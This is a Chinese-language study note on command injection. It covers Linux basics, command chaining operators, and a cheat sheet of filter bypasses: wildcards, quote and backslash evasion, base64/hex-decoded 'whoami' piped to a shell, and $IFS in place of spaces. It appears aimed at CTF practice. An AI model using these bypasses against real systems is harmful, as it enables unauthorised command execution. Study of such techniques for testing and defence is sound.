命令执行&

LINUX命令

- ls(英文全拼:list files): 列出目录及文件名

- cd(英文全拼:change directory):切换目录

  cd ..  表示去到目前的上一级目录,亦即是 /root 的上一级目录的意思

- pwd(英文全拼:print work directory):显示目前的目录

- mkdir(英文全拼:make directory):创建一个新的目录

- rmdir(英文全拼:remove directory):删除一个空的目录

- cp(英文全拼:copy file): 复制文件或目录

- rm(英文全拼:remove): 删除文件或目录

- mv(英文全拼:move file): 移动文件与目录,或修改文件与目录的名称

- vim 用编辑器打开

## 连接符

远程命令执行可以用到的命令连接符,windows系统和linux系统各有4个,其中3个是共有的,各有1个是特有的:

- windows系统:| 、||、&&、&
- linux系统:| 、||、&&、;

```
|
```

管道操作符

可以把前一个命令的标准输出传输到后一个命令的标准输入

a | b表示命令a的输出作为命令b的输入

在远程命令执行中,不管a的执行结果是否正确,b都可以执行

```
||
```

逻辑或

有短路的情况

比如 a || b,如果命令a执行成功,则命令b不会被执行;只有命令a执行失败的情况下,才会执行命令b

```
&&
```

逻辑与

注意该命令有短路的情况

比如 a && b,如果命令a执行失败,则命令b不会被执行;只有命令a执行成功的情况下,才会执行命令b

```
&
```

windows特有

允许在一行内从左向右顺序执行多条命令,前一条命令失败也不影响后一条命令的执行

比如 a & b,不管a是否执行成功,b命令都会执行

```
;
```

linux系统特有

允许在一行内从左向右顺序执行多条命令,前一条命令失败也不影响后一条命令的执行

比如 a ; b,不管a是否执行成功,b命令都会执行

## 绕过

### 只可绕过文件名(重点)

```
cat fl[abc]g.php                                 //匹配[abc]中的任何一个
cat f[a-z]ag.txt                                 //匹配a-z范围的任何字符
cat fla*                                         //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php       //内联执行
```

通配符匹配[a-z] 查询所有字母a-z里面的东西(正则的形式)

*匹配所有内容

? 单一字符匹配

### 绕过关键字

wh\o\ami    //反斜线绕过
who"a"mi    //双引号绕过
whoa'm'i    //单引号绕过
whoam``i    //反引号绕过
echo d2hvYW1p|base64 -d|sh  //base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash//base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码
//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt    在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi

### 空格绕过。

在命令执行里注入用%0a、注释符都可以,比较特殊的$IFS可以替换空格。

$IFS
$IFS$1
${IFS}
$IFS$9
<     比如cat <>
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20
%09

你可能感兴趣的:(linux,windows,jvm)